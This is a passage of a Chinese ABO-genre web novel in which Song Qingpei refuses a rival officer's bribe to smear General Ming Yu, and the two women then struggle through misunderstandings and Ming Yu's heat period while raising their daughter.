她的目光如刀锋般锐利,直直地盯着宋青佩,仿佛要看穿她的内心。然而,宋青佩并没有退缩,而是迎着她的目光,冷静而坚定。 “战小姐,我想你找错人了。”宋青佩语气平静,“我和明毓之间的事,与你无关。至于你所谓的交易,我没有任何兴趣。” 战南笙挑了挑眉,似乎对她的反应感到意外。 她轻笑一声,语气中带着几分不屑:“宋小姐,别急着拒绝。你应该很清楚,明毓现在正处于风口浪尖,只要你在媒体面前说几句对她不利的话,她的声誉就会受到极大的影响。而我,可以答应你的任何条件——金钱、权利,甚至是你和你的女儿的安全,我都可以保证。” 宋青佩听到她提到颂颂,眼神骤然冷了下来:“战小姐,你这是在威胁我吗?” 战南笙摊了摊手,语气轻松:“不,我只是在陈述事实。宋小姐,你是个聪明人,应该知道怎么选择对自己最有利的路。” 宋青佩冷笑一声:“战小姐,我听说过你和明毓之间的争斗,但没想到你正面竞争不过她,却用这种下三滥的手段。真是让人大开眼界。” 战南笙的脸色瞬间阴沉下来,眼中的笑意消失殆尽。 她上前一步,逼近宋青佩,语气冰冷:“宋青佩,你别不识抬举!你以为明毓真的在乎你吗?她不过是把你当成一个可有可无的棋子罢了!你甘心被她控制,却不敢为自己争取一点利益,真是可笑!” 宋青佩毫不退让,直视着她的眼睛,语气坚定:“战小姐,你错了。我和明毓之间的事,轮不到你来评判。我不会为了自己的利益去抹黑别人,更不会做这种无耻的事。你的交易,我不感兴趣。” 战南笙被她的话激怒,脸上的表情逐渐扭曲。 她猛地抬手,似乎想要对宋青佩做些什么,但最终还是忍住了。 她冷笑一声,语气中带着威胁:“宋青佩,你别太天真了!你以为明毓会保护你吗?她连自己都保不住!总有一天,你会为今天的决定后悔,到时候,你就算跪着求我,我也不会再给你机会!” 宋青佩不为所动,只是淡淡地看了她一眼:“那就等到那一天再说吧。如果没有别的事,我先走了。” 说完,她转身朝书房外走去,步伐坚定。 战南笙站在书房的窗前,看着宋青佩离去的背影,眼中闪过一丝阴冷。 她拿起通讯器,拨通了一个号码:“计划有变,宋青佩不肯合作。启动备用方案,我要让明毓彻底身败名裂!” 电话那头传来一个低沉的声音:“明白。” 战南笙挂断电话,嘴角勾起一抹冷笑:“明毓,宋青佩,你们会为今天的傲慢付出代价的。一切才刚刚开始……” 走出别墅,宋青佩深吸了一口气,夜晚的冷风让她稍稍清醒了一些。 她知道自己今天彻底得罪了战南笙,未来的日子可能会更加艰难。 但她并不后悔自己的选择,无论是为了颂颂,还是为了自己的原则,她都不可能和战南笙这样的人合作。 她拿出通讯器,犹豫了一下,最终还是拨通了明毓的号码。 电话响了几声后,明毓的声音从另一端传来,带着一丝疲惫和紧张:“青佩?你在哪?我给你打电话怎么打不通?” 这是她第一次这么叫她,宋青佩愣了一下才反应过来,低声说:“明毓,我刚才见了战南笙。” 电话那头明显顿了一下,随即传来明毓紧张的声音:“她找你做什么?你有没有事?” 宋青佩顿了一下,如实道:“她让我在媒体面前抹黑你,说可以答应我的任何条件,我已经拒绝了。” 明毓沉默了几秒,语气中带着一丝复杂的情绪:“谢谢你。这件事我会处理好的的,你不用担心。” 宋青佩摇了摇头,尽管明毓看不到:“我不是为了你才拒绝她的,我只是不想让自己变成一个卑鄙的人。明毓,我希望你能尽快解决这件事,我不想让颂颂受到任何影响。” 明毓的声音低沉而坚定:“我明白。你放心,我会保护好你和颂颂的。你把位置发给我,我现在去接你。” “不用了,我自己回去就行,你在家看着颂颂吧。” 可这次不管宋青佩怎么说,明毓都坚持要来接她,实在没办法,她只能将位置发了过去。 “你在人多的时候等我,我马上过去。”明毓叮嘱。 宋青佩没有再多说什么,只是轻轻“嗯”了一声,便挂断了电话。 她抬头看向夜空,心中五味杂陈。 她知道,自己和明毓之间的关系已经无法回到从前,但为了颂颂,她们又必须合作面对这一切,好在明毓的态度似乎转变了不少。 只是她实在不解,明毓为什么突然转变了态度? 没多久,明毓就亲自过来接了宋青佩。 一路上,她时不时侧头看向宋青佩,眼神里带着一丝不易察觉的关切。 “战南笙没对你做什么吧?”明毓终于忍不住开口,声音里带着一丝紧绷。 宋青佩摇了摇头,语气平静:“没有,她只是试图说服我合作,但我拒绝了。” 明毓松了一口气,但眉头依旧紧锁:“她不会轻易罢休的。你最近要小心,尽量不要单独行动。” 宋青佩点了点头,没有多说什么。 她看向窗外,夜色中的城市灯火辉煌,却让她感到一丝疲惫。 回到家后,颂颂已经等得有些不耐烦了。 看到两人一起回来,她立刻扑了上来,兴奋地拉着她们的手:“妈咪,妈妈,你们终于回来了!我们一起玩游戏吧!” 明毓笑了笑,蹲下身摸了摸颂颂的头:“好啊,你想玩什么?” 颂颂眼睛一亮,拉着她们坐到沙发上:“我们来玩拼图吧!我刚拿到一个新的拼图,可难了!” 宋青佩看着颂颂兴奋的样子,心里也放松了一些。 她坐到颂颂旁边,轻声说:“好,我们一起拼。” 三人围坐在茶几旁,开始拼图。 明毓时不时抬头看向宋青佩,眼神里带着一丝复杂的情绪。她似乎想说什么,但每次话到嘴边又咽了回去。 时间一点点过去,颂颂的拼图渐渐成型。 明毓却似乎没有离开的意思,依旧坐在宋青佩旁边,时不时找些话题和她聊。 “你今天工作怎么样?”明毓突然问道,语气里带着一丝试探。 宋青佩愣了一下,随即淡淡地回答:“还好,没什么特别的。” 明毓点了点头,似乎还想说什么,但最终没说出口,继续低头拼图。 颂颂打了个哈欠,揉了揉眼睛:“妈咪,妈妈,我有点困了。” 宋青佩看了看时间,已经快到颂颂睡觉的时间了。她轻声说:“那我们去洗漱,准备睡觉吧。” “妈妈,我要跟你睡嘛~”颂颂撒娇。 因为今天的事宋青佩不忍拒绝,点了点头,拉着她站了起来准备回房间,没想到明毓也跟着站了起来,大有跟着两人一起回房间的意思。 宋青佩看了她一眼,语气里带着一丝疑惑:“你……还不回去休息吗?” 明毓笑了笑,语气轻松:“我不急,再陪颂颂一会儿。” 宋青佩皱了皱眉,心里有些不解。 她看了看颂颂,又看了看明毓,最终没有多说什么,带着颂颂回了房间洗漱。 洗漱完毕后,颂颂躺在床上,眼睛已经有些睁不开了。 明毓坐在床边,轻轻拍了拍颂颂的背:“颂颂,要不要妈咪陪你睡?” 颂颂迷迷糊糊地点了点头,声音软糯:“要……妈咪陪我睡。” 宋青佩站在一旁,心里更加疑惑。 她看了看明毓,语气里带着一丝试探:“你……今晚要在这里睡?” 明毓点了点头,语气自然:“颂颂想让我陪她睡。” 宋青佩一时语塞,不知道该怎么回应。 她看了看颂颂,又看了看明毓,最终只能无奈地点了点头:“那……好吧。” 三人再次躺在一张床上,颂颂趴在中间,很快就睡着了。 宋青佩不适的侧躺着身子,虽然知道明毓等颂颂睡了就会离开,可心里还是充满了疑惑和不解,最近这几天,明毓实在是过于反常了。 饶是她故意忽略了明毓,还是明显的感觉到了她的——殷勤。 思考许久,她只能用这个词形容,而且不是之前故意讨好颂颂的那种殷勤,似乎在讨好她,一开始她是不敢相信的,可是一连几天,如此明显的态度,她想忽视都做不到。 就算是想要获得颂颂的好感,态度也没必要忽然变得如此殷勤,甚至让她忍不住想去了那句话,无事献殷勤——非奸即盗。 可她绞尽脑汁也想不明白,一向骄傲的明毓为什么那么做? 她有什么值得明毓图的呢? 电光火石般,她脑子里忽然闪过了一个可怕却又合理的想法,脸色一阵红一阵白,整个人气的差点跳起来。 她强压着怒气,侧头向明毓,发现她也没有睡,正睁着眼睛看着天花板。 似乎完全没有要走的意思。 “明毓,”宋青佩看向她,声音压得很低,“你不回去休息吗?” 明毓看向她,眼色遮遮掩掩,“我在陪一会颂颂。” 睡着的小孩子有什么好看的,她这拙劣的谎言,几乎更加印证了宋青佩的猜想。 宋青佩终于忍无可忍,强压怒气道:“你是不是发热期到了?” 明毓愣了一下,抬眸看向宋青佩,眼神里带着一丝惊讶:“你怎么会这么问?” 宋青佩皱了皱眉,语气里带着满满的警惕:“你最近的态度……有点奇怪。如果你发热期快到了,最好提前去找医生看看,别到时候又那什么,我是不会再答应你……” 她的话还没说完,明毓的脸色突然变得涨红。 她猛地坐起身,语气里带着一丝怒意:“宋青佩,我在你眼里就是这种人。” 难道她所有的示好,都被看做是另有目的拙劣接近,一瞬间,明毓感觉自己被狠狠的羞辱了,简直比被打了一个耳光还要羞耻。 宋青佩被她的反应吓了一跳,下意识的往后推了推,“……不是这样吗?” 明毓冷笑了一声,眼神里愤怒中带着失望:“宋青佩,我在你眼里就这么不堪吗?我告诉你,我不是因为发热期才想留下来,我只是…只是……” 她的话戛然而止,似乎不知道该怎么继续说下去。 最终,她猛地站起身,摔门离开了房间。 宋青佩坐在床上,她看着紧闭的房门,耳边还回响着明毓摔门的声音,心里五味杂陈。 她是真不明白,明毓的态度为什么会突然变得这么奇怪。 难道……真的误会了她? 明毓真的只是单纯的想开了,为了颂颂决定跟她和平相处? 不不不,她还是觉得明毓不像这么好说话的人,刚才的反应,更像是被戳穿卑劣目的的恼羞成怒。 第24章 发热期来了 明毓回到自己的房间后,心情久久无法平静。 她躺在床上,脑海中不断回放着宋青佩那充满怀疑和警惕的眼神,以及那句刺耳的质问——“你是不是发热期到了?”这句话像一根尖锐的刺,深深扎进了她的心里,让她感到愤怒又无奈。 她从未想过,自己放下身段、主动示好的行为,竟然会被宋青佩误解为别有用心,她感到自己的真心被践踏,自尊心受到了极大的伤害。她越想越气,心中暗暗发誓:绝不会再向宋青佩低头。 这一夜她翻来覆去,怎么也睡不着。 然而,第二天一早。 明毓却发现宋青佩像往常一样,早早起床为颂颂准备早餐,她站在楼梯口,看着宋青佩忙碌的背影,心里五味杂陈。 她走到餐桌旁坐下,目光扫过桌上的食物,别扭的说了一句:“早。” 宋青佩听到她的声音,头都没抬一下,顺口道:“早,吃饭吧。待会我上班顺路去送颂颂上学。” 就完了,甚至提都没提一句昨晚的事,好像昨晚的争吵根本没有发生过。 明毓心里憋闷的厉害,却又不好发作,只得低头继续吃饭。 餐桌上的气氛有些尴尬,但比起昨晚的剑拔弩张,已经好了许多。 随便吃了几口饭,明毓站起身,拿起外套准备出门:“我去军部了,今天可能会晚点回来。” 宋青佩点了点头,心里却有些不安。 她知道,明毓今天去军部,肯定是为了处理昨天热搜的事情。虽然明毓没有明说,但她能感觉到,事情并没有那么简单。 她最终还是忍不住开口问道:“明毓,热搜的事,对颂颂应该没有影响吧?” 明毓点了点头,语气下意识的柔和许多:“我会处理好的,你放心。” 说完这句话,她突然觉得自己有些太上赶着了,仿佛在主动示好,想到这她立刻冷了脸,冷硬的转身离开了家。 颂颂看着明毓离开的背影,有些茫然地拉了拉宋青佩的衣角:“妈妈,你和妈咪又吵架了吗?” 宋青佩蹲下身,轻轻摸了摸颂颂的头,柔声安慰道:“没有吵架,妈咪只是有点忙。颂颂不用担心,妈妈送你去学校,好不好?” 颂颂点了点头,虽然心里还是有些疑惑,但看到宋青佩温柔的笑容,她很快就放下了心,开心地跟着宋青佩出门了。 送完颂颂后,宋青佩直接去了公司。 她刚走进办公室,就感觉到周围的气氛有些异样。 同事们虽然表面上依旧忙碌,但时不时投来的目光和窃窃私语让她感到一阵不适,她知道,昨天的热搜事件已经在公司里彻底传开了。 她努力让自己保持镇定,坐到工位上,打开光脑开始工作。 然而,没过多久,慕容瑞雪突然走了过来,敲了敲她的桌子:“青佩,你来一下会议室,有件事需要和你谈谈。” 宋青佩心里一紧,“瑞雪姐,是因为热搜的事吗?” “嗯。”慕容瑞雪点了点头,安抚道:“你不用太担心,只是例行询问而已,不会有什么事的。” 宋青佩点了点头,起身跟着慕容瑞雪走进了会议室。 会议室里,除了慕容瑞雪,还有几个公司的高层,似乎对这件事都十分关注。 他们看到宋青佩进来,目光中带着一丝审视和探究。 公关部的总监示意她坐下,然后开门见山地说道:“宋青佩,昨天的热搜我们都看到了?公司这边也收到了一些媒体的询问,关于你和明毓上将的关系*影响比较大,我们需要一个明确的答复。” 宋青佩深吸了一口气,努力让自己保持冷静:“我和明毓上将确实有一个女儿,但我们早就没有关系了。这次的热搜是有人故意炒作,相信会很快处理好的。” 负责人点了点头:“慕容总监一直很看重你的能力,但这次的事情影响很大。我们希望你能尽快处理好,不要让这件事影响到公司的声誉。” 宋青佩点了点头,语气坚定:“我明白,我会尽快解决的。” 公关部总监看了她一眼,似乎还想说什么。 但被慕容瑞雪打断了,她笑着缓和了凝重的气氛:“好了好了,不就是一点个人私事嘛,搞得跟三堂会审似的。青佩说会处理好,你们就算不相信她,也该相信明毓上将的能力吧,相信这事很快就会解决的。” 她话里带话,绵里藏针,不经意间就将宋青佩和明毓说成了一个整体。 原本神色凝重的几个高层,互相对视了一眼,迫于明毓的身份,没再继续对宋青佩说什么,只是客气的暗示她尽快让明毓上将解决这个麻烦事。 跟着慕容瑞雪离开会议室后,宋青佩的心情更加沉重。 她知道,如果事情不能尽快解决,不仅她的工作会受到影响,颂颂的生活也可能被打乱。 宋青佩拿出通讯器,犹豫了一下,要不要联系明毓? 可从昨天的事情看,战南笙也不是个好相与的人,明毓现在在军部应该也是焦头烂额,还是先别给她压力了,最终她还是没有拨通明毓的号码。 与此同时,明毓坐在办公室里,桌上是堆积如山的文件。 她拿起通讯器,拨通了林中尉的号码:“热搜的事查得怎么样了?” 林中尉的声音从另一端传来:“上将,我们已经查到了发稿的源头,是一家小媒体,背后确实有战南笙的影子,证据已经整理出来发给您了。” 明毓皱了皱眉,语气中带着一丝冷意:“你去找明芮,让她配合你继续查,一定要给我找出来战南笙的黑料。既然她敢给我来阴的,那就以其人之道还治其人之身。” 林中尉应了一声:“是,我马上去办。” 挂断电话后,明毓将所有的证据整理完毕。 随即大步走向元帅林海平的办公室。 林海平正在办公室里处理文件,见明毓进来,抬头看了她一眼,语气平静:“明毓,这么早来找我,有什么事吗?” 明毓将手中的文件放在他的桌上,语气坚定:“元帅,这是战南笙操纵媒体、散布谣言的证据。她不仅试图抹黑我的声誉,还威胁了我的家人,我希望军部能对此事做出公正的处理。” 林海平皱了皱眉,拿起文件仔细翻阅,随着他的目光在文件上扫过,眉头越皱越紧。 片刻后,他放下文件,叹了口气:“明毓,这件事……你确定是战南笙做的?” “证据确凿,林元帅。” 明毓点了点头,语气冷峻:“战南笙不仅派人跟踪我的家人,还试图逼迫她在媒体面前抹黑我,这种行为已经严重违反了军纪,我希望军部能严肃处理。” 林海平沉默了片刻,最终点了点头:“好,我会叫战南笙过来,当面问清楚。” 没过多久,战南笙被叫到了元帅办公室。 她一进门,看到明毓也在,脸色微微一变,但很快恢复了平静。 她走到林海平面前,语气恭敬:“林元帅,您找我?” 林海平将文件推到她面前,语气严肃:“战南笙,明毓指控你操纵媒体、散布谣言,还试图威胁她的家人。你有什么要解释的吗?” 战南笙低头看了一眼文件,脸色瞬间变得苍白。 她咬了咬牙,抬头看向林海平,语气中带着一丝不甘:“元帅,这件事……或许是下面的人做的,但他们没有故意抹黑。这一切都是事实,希望明毓上将能正视自己的问题,不要因为私事影响到我们军人的声誉。” 明毓冷笑了一声,语气中带着一丝嘲讽:“战南笙,你所谓的‘正视问题’,就是威胁我的家人抹黑我的声誉?你知不知道,这种行为已经严重违反了军纪?” 战南笙没有说话。 她布好了局,根据调查到的信息,宋青佩和明毓不和,本以为很好收买,却万万没想到宋青佩居然不肯配合,是她大意了。 两人间的气氛,顿时剑拔弩张起来。 林海平看了看明毓,又看了看战南笙,最终叹了口气:“你们都是军部的精英,我不希望看到你们因为私人恩怨影响到军部的团结。这件事,到此为止。战南笙,你向明毓道歉,并且保证以后不会再犯。” 战南笙咬了咬牙,最终转身看向明毓,语气僵硬:“抱歉。” 明毓冷冷地看了她一眼,没有回应。 林海平见状,想到战南笙幕后的战家,为了安抚她的情绪,继续道:“战南笙,我决定任命你为澜星高级军事学院的副校长,与明毓一起负责新成立的高级军校。你们两人要通力合作,不要再让我失望。” 战南笙听到这个任命,眼中闪过一丝惊讶,但很快恢复了平静。 她点了点头,语气恭敬:“是,林元帅。” 明毓也没有多说什么,只是点了点头,表示接受这个安排。 当天下午,军部召开了新闻发布会,正式宣布了明毓和战南笙的任命,以及新成立的高级军校的计划。 关于昨天的热搜,明毓也做出了官方回应,称在失忆期间确实流落到了垃圾星,但救她的并不是什么劣等Alpha,而是一名机甲维修师,并不想公布身份,影响正常生活。 这个声明一出,舆论很快平息了下来。 网友们虽然依旧对明毓的私生活充满好奇,但在军部和媒体的强势干预下,很快就没办法在网上讨论这件事。 宋青佩在家里看到这个新闻,苦笑着关掉了光脑,心里五味杂陈。 “原来……曾经和一个劣等Alpha相爱,依旧是你必须要否定的不堪过去。” 宋青佩低声自语,眼中闪过一丝失落。 她知道,明毓这么做有各种合理的理由,但那种被否定的感觉,依旧让她感到难过,但很快她就调整好了自己的情绪。 无所谓了,只要明毓能让她陪在颂颂身边就好,别的她早就不在意了。 —— 暮色四合时,明毓回来了,站在玄关处解军装领扣。 打厅暖黄的灯光将宋青佩身影投在墙上,晃动的光晕里,她看见宋青佩被女儿逗笑,发自内心的快乐。 “妈咪!”颂颂从玩具堆里扑过来,沾着颜料的小手攥住她衣角,“今天老师教我们画机甲,我画了你穿军装的样子!” 明毓蹲下身,任凭女儿把画纸往她脸上贴。 水彩晕染的痕迹里,三个歪歪扭扭的人形手牵着手,最中间的小人儿头顶还顶着朵粉色小花,她听见身后传来纸张翻动的声响,宋青佩认真的看着画,睫毛在眼下投出细密的阴影。 明毓忽然觉得这个画面温馨极了,让她忍不住想起——还在垃圾星上时,她那个时候还怀着孕,夜里睡不着,宋青佩笨拙地拿着故事书讲给她听,她躺在她怀里闭着眼,静静的听着她讲故事。 这一刻,她下意识的放轻了呼吸,生怕惊扰到宋青佩,胸腔中更是燃起了一股强烈的冲动,想要吐露自己的感情。 “青”可她刚想开口却被打断。 宋青佩已经合上了画册起身,“好了颂颂,时间不早了,该去洗澡睡觉了。” 颂颂乖乖的起身,跟着宋青佩起去洗澡,明毓犹豫了一下,跟了过去。 宋青佩忙着给颂颂洗澡。 她站在一旁注视着母女二人,一脸专注,视线时不时的落在宋青佩身上,再难移开,汹涌的感情仿佛下一刻就要倾泻而出。 可在宋青佩看来,却又是另一番景象,她只觉得烦。 那么大一个人,傲慢的杵在那里,不会帮忙就算了,还像个监工一样盯着她,好像她是个会苛待女儿的后妈一样,真是够了。 宋青佩在心里腹诽着,偷偷白了一眼明毓,抱着颂颂回了儿童房。 颂颂又开始故技重施的撒娇,“妈妈,我想跟你和妈咪一起睡嘛~” 听到颂颂的助攻,一直沉默着的明毓终于找到机会,脱口而出道:“好” 话没说完,就被宋青佩打断了,“不行,颂颂你已经上学啦,是勇敢的小大人啦,要自己睡哦。” 小孩子对于勇敢这个夸奖简直毫无抵抗力,颂颂当即抬了抬小脑袋,点了点头,“嗯。颂颂是勇敢的小大人,可以自己睡。” 然后乖乖回了房间,甚至还表示不用哄睡啦,她可以哄自己睡。 宋青佩哭笑不得,在她额头上落下一个晚安吻,给她盖好被子,才起身离开,转头时正好对上明毓尚未收回的视线,里面似乎闪过一抹惋惜。 是她的错觉吧。 两人一前一后出了房间,宋青佩转身准备离开,却被明毓上前一步,拦住了去路。 宋青佩愕然的抬头看她。 明毓站在二楼走廊的阴影里,她看着宋青佩哑声道:“热搜的事解决了,不会有人再打扰你们。” 宋青佩刚刚缓和的情绪又起了波澜,明毓对她劣等A的嫌弃从不掩饰,她自然不可能再自取屈辱的表现出什么,只是微微垂下了头,月光顺着她低垂的睫毛流淌。 她低声,“嗯,我看到新闻了。” 这声回应像根细针刺进明毓的太阳穴。 她突然觉得十分无力,军靴在地板上敲出急促的节奏,有些气恼的道:“你就没有什么别的想说的吗?” “这件事你费心了。”宋青佩的声音清脆得像耳光,“时间不早了,早点休息吧。” 说完,她再度往前走去,明毓气恼的跟了上去,将她再度堵在走廊转角。 宋青佩眼底不由染上了些隐怒,强压着问:“你干什么?” “宋青佩,在你眼里”明毓顿了一下,她听见自己声音沙哑得可怕,“我对你好只是为了度过发热期?” 对她好?宋青佩懵了一下,她什么时候对她好了? 随即又释然,在明毓这样高高在上的人眼里,怕是一点正常的尊重,就觉得是对她好了吧,她懒得反驳,只觉得可笑。 “不然呢?”她轻笑出声,“我实在想不出还有什么别的理由,能让你突然对我这么好。“她故意在‘好’字上加重了语气,听上去颇为阴阳怪气。 仿佛被当头浇了一盆冷水,明毓原本想要吐露的话一下成了笑话。 再说,就是自取其辱了。她哼笑一声:“你想多了,我只是为了颂颂,接受了你说的和平共处的提议而已。 “那很好。”宋青佩一副如释重负的模样。 明毓气地转身离开。 走廊的灯光在她的背影上拉出一道长长的阴影,心中积压的情绪如同那密布的乌云,压得她喘不过气来。 她原本打算冷待宋青佩,故意不理会她。 然而,出乎她意料的是,宋青佩却始终淡淡地回应,仿佛早已看透了她的心思,对她的冷漠毫不在意,甚至完全无视她的存在。 这样的无动于衷让明毓心中愈加不安,仿佛在与空气争执,却始终得不到回应。 时间悄然流逝,明毓在心中暗自焦灼,试图再一次掩饰自己的情感,却发现每当她以冷漠回应宋青佩时,得到的只是她更加强烈的无视。她不得不承认,自己不知何时开始渴望宋青佩的关注,渴望她的温暖。 可这种渴望在她心底如同被掩藏的火焰,始终无法点燃,让她辗转反侧,却又有些拉不下脸再去求和,生怕宋青佩带给她的是更重的羞辱。 直到这天夜里,暴雨如注,窗外的雷声如同暴怒的巨兽,席卷而来。 颂颂在一声巨雷的轰鸣中被惊醒,尖叫声划破了宁静的夜晚。 明毓心中一震,猛地想到了漆黑的暴雨夜,自己小时候被一个丢在家里的恐惧,立即冲向了颂颂的房间,正好与宋青佩在门口相遇。 “颂颂!”宋青佩的声音透着焦虑。 明毓心中一紧,两人几乎是同时推开了门。 小小的房间里,颂颂蜷缩在床上,脸上挂着未干的泪痕,显得无比脆弱。 宋青佩一阵心疼,赶紧俯身将她揽入怀中。 “妈妈!”颂颂不顾一切地扑进了宋青佩的怀抱,依偎着她,声音中夹杂着恐惧与依赖,“我怕!” “妈妈在这儿,不怕。”宋青佩轻声安慰,抚摸着颂颂的头发。 她的声音如同温暖的春风,缓解了颂颂的恐惧,她可怜兮兮的垂着眼睛,小声说:“┭┮﹏┭┮,颂颂不勇敢了。妈妈,我跟你一起睡好不好?” 宋青佩赶紧安慰她,“哪有,颂颂很勇敢,妈妈小时候也怕打雷下雨的,颂颂只是太小了,长成大大人就不怕了。” “真的吗?”颂颂眼中闪烁着期待的光芒。 “真的。” 宋青佩将颂颂抱起,转身朝自己的房间走去,明毓见状,默默地跟了上去。 她心中默念着安慰的理由,试图说服自己只是为了让颂颂安心。 见她跟在后面,宋青佩愣了一下,不解的看向她。 目光交汇间,明毓语气中带着一丝不容拒绝的坚定,“我要陪着颂颂。” 最终,她无奈地耸了耸肩,示意明毓一同过去。 她们三人回到房间,颂颂早已将自己裹得严严实实,眼中透着一丝倦意,却仍然不肯睡觉,仿佛害怕再次看到恐惧的东西。 明毓坐在床边,低声对颂颂说道:“没事,妈咪会保护你的,不怕。” 这句话像是注入了力量,让颂颂的不由钻进了她怀里,撒娇道:“妈咪厉害,你抱着我睡。” 明毓微微一笑,伸手将颂颂揽入怀中,轻声说:“好。” 宋青佩静静地看着这一幕,内心复杂而纷乱,对于明毓,颂颂大抵还是有着天然的崇拜吧,好在她现在已经可以平常心看待,没那么自卑了。 颂颂安静地趴在明毓的怀中沉沉入睡,脸上挂着恬静的笑,仿佛一切的恐惧都已烟消云散。 窗外的暴雨依然倾泻而下,而在这个小小的房间里,温暖仿佛在悄然蔓延。 在这样的氛围中,明毓的心也不由慢慢柔软下来,她心中暗想,或许,她也该学会放下骄傲,试着与宋青佩重新建立新的关系。 想到这,她不由鼓起勇气看向宋青佩,又极快的移开了视线,艰难的吐出一句:“宋青佩,对不起。” 声音细若蚊喃,几不可闻。 宋青佩就听到她咕哝了一声,完全听不清在说啥,不由疑惑道:“什么?” 对她这副反应明毓气的不清,觉得宋青佩就是故意在看她笑话,羞恼道:“我说对不起。之前我对你确实不太好。我知道你担心什么,你放心,就算我发热期来了,只要你不愿意,我也不会强迫” 虽然不知道她突然抽什么疯,宋青佩依旧急不可待的表示:“我不愿意。” 明毓气的胸口发闷。 她很想摔门离去,可是接连几次争执,她发现生气并没有什么用,宋青佩根本不当回事,就算走了,也是她自己回去生闷气。 想到这的明毓,不知为何,觉得身体似乎在慢慢发热,大概是被气狠了。 她索性闭上眼,努力调整自己的呼吸。 夜深人静,房间里只剩下颂颂均匀的呼吸声。 宋青佩轻轻拍着颂颂的后背,看着她熟睡的小脸,心里却很是不高兴。 明毓发癫般道完歉居然也不走,就这么厚着脸皮留了下来,美其名曰“陪颂颂睡觉”,也不知道到底要干嘛。 明毓躺在颂颂的另一侧,闭着眼睛,仿佛在假装已经睡着。 她的呼吸平稳,仿佛真的进入了梦乡。 宋青佩看了她一眼,心里有些无奈,但也不好再赶她走。毕竟,也不想把颂颂吵醒,在孩子面前闹得太僵。 时间一分一秒地过去,房间里安静得只剩下呼吸声。 宋青佩也渐渐有了睡意,正准备闭上眼睛时,突然感觉到空气中弥漫着一股淡淡的、甜腻的气息。 她皱了皱眉,下意识地看向明毓。 只见明毓的脸色有些泛红,额头上渗出细密的汗珠,呼吸也变得急促起来。 宋青佩心里一紧,立刻意识到发生了什么——明毓的发热期来了。 “明毓?”宋青佩低声唤了她一声,语气中带着一丝紧张。 明毓没有回应,只是紧紧闭着眼睛,身体微微颤抖。 她的信息素不受控制地外溢,空气中弥漫着浓郁的甜香,让宋青佩脸色瞬间冷了下来,这个骗子,刚才说了这么多,原来就是为了让她心软。 她坐起身,语气中带着一丝怒意:“明毓,你别装了,我知道你醒着。” 明毓终于睁开了眼睛,脸色涨红,眼神中带着一丝尴尬。 她张了张嘴,想要解释,却发现自己根本无法反驳。发热期的症状来得又急又猛,她的身体滚烫,连呼吸都变得困难。 “我…我也没想到……”明毓艰难地开口,声音沙哑而微弱。 宋青佩冷笑了一声,语气中带着毫不掩饰的嘲讽:“没想到?你明知道自己发热期到了,还非要留在这,不就是想让我帮你解决吗?” 明毓的脸色更加涨红,她想要反驳,却发现自己根本无法解释。她的身体越来越热,信息素不受控制地外溢,连她自己都感到羞耻。 宋青佩冷冷地看着她,语气中带着明显失望:“明毓,你总是这样不择手段来达成自己的目的,根本不考虑别人的想法。我不管你是因为发热期还是别的什么,但我告诉你,我不会和你保持不清不楚的关系。你现在立刻联系医生,我不想再看到你。” 明毓的心猛地一沉,知道宋青佩是真的生气了。 她咬了咬牙,艰难地从床上爬起来,身体摇摇晃晃地站不稳。她的信息素越来越浓,连她自己都感到难以控制。 “好,我走……”明毓低声说道。 她闭了闭眼平复呼吸,踉踉跄跄地朝门口走去,背影显得格外狼狈。 宋青佩看着她的背影,心里五味杂陈。 她知道自己的话有些过分,但她实在无法接受明毓的这种行为,发热期不是借口,她不想再被明毓牵着鼻子走。 明毓走到门口,突然停下脚步,回头看了宋青佩一眼,眼神中带着一丝复杂的情绪:“宋青佩,我真的不是因为这个故意过来的……” 宋青佩没有说话,明毓一脸羞愤的踉跄离开。 回到自己的房间,关上门的那一刻,她的身体几乎瘫软在地。发热期的热潮如同汹涌的浪潮,一波接一波地冲击着她的理智。 她的呼吸急促,额头上渗出细密的汗珠,脸颊泛着不自然的潮红。 空气中弥漫着她无法控制的信息素,甜腻而浓烈,几乎让她窒息。 她跌跌撞撞地走到床边,将自己摔进被子里,狠狠的闭了眼。 然而,闭上眼的那一刻,她的脑海中却不由自主地浮现出曾经和宋青佩在一起的画面——那些暧昧的触碰、缠绵的吻、以及宋青佩温柔的眼神。 那些记忆像一把火,点燃了她本就难以自制的欲望,让她更加痛苦。 “不行…抑制剂……” 明毓咬着牙,低声呢喃,试图用理智压制住身体的冲动。 然而,发热期的症状越来越强烈,她的身体像是被火焰吞噬,每一寸肌肤都在叫嚣着渴望。她蜷缩在床上,手指紧紧抓住床单,指节泛白。 最终,她再也无法忍受,颤抖着拿起通讯器,拨通了医生李蔓的号码。 “李蔓……我发热期来了……” 明毓的声音沙哑而虚弱,几乎是从喉咙里挤出来的。 李蔓听到她沙哑的声音,暗道不好,赶紧赶往明毓的住处。 一进门,她就闻到了空气中浓烈的信息素味道,眉头微微皱起。 她走到床边,看到明毓蜷缩在床上,脸色潮红,呼吸急促,显然已经陷入了发热期的极度痛苦中。 “明毓,你的情况很严重。”李蔓一边检查她的身体状况,一边语气严肃地说道,“你的信息素紊乱已经持续了很长时间,抑制剂的效果越来越弱。再这样下去,你的身体会承受不住的。” 明毓咬着牙,声音颤抖:“我知道……可是……我没办法……” 李蔓叹了口气,语气中带着一丝无奈:“明毓,我之前就建议过你,接受宋青佩的标记是解决这个问题的最好办法。你的身体需要她,否则抑制剂只会让你的情况越来越糟。” 明毓听到宋青佩的名字,身体猛地一颤,眼中闪过一丝羞耻和痛苦:“不……不行……她……她拒绝了我……” 李蔓愣了一下,显然没想到会是这样的结果。 她皱了皱眉,语气中带着一丝不解:“宋青佩拒绝了你?为什么?你们不是已经……” 明毓苦笑了一声,声音低得几乎听不见:“她……她不想再和我有任何瓜葛。” 李蔓沉默了片刻,最终叹了口气:“明毓,你的情况已经不能再拖了。如果宋青佩不愿意帮你,我只能继续给你注射抑制剂,但这只是暂时的解决办法,长期下去你的身体会崩溃的。” 明毓没有再说话,只是默默地点了点头。 李蔓为她注射了抑制剂,等她暂时平复下来后,才离开了房间。 大厅里,宋青佩正沉默的坐在沙发上,再次陷入了深深的担忧。 她知道明毓的情况越来越糟,但无法说服自己陷入那种不清不楚的关系中。可是她也清楚,要是不解决明毓信息素紊乱的问题,明毓也绝不会轻易放过她。 见李蔓出来了,宋青佩只能向她求助。 李蔓叹了口气,将明毓的情况再次告诉了她一遍,所有的抑制剂对明毓都没有效果。 宋青佩绝望地问:“就一点办法也没有了吗?” 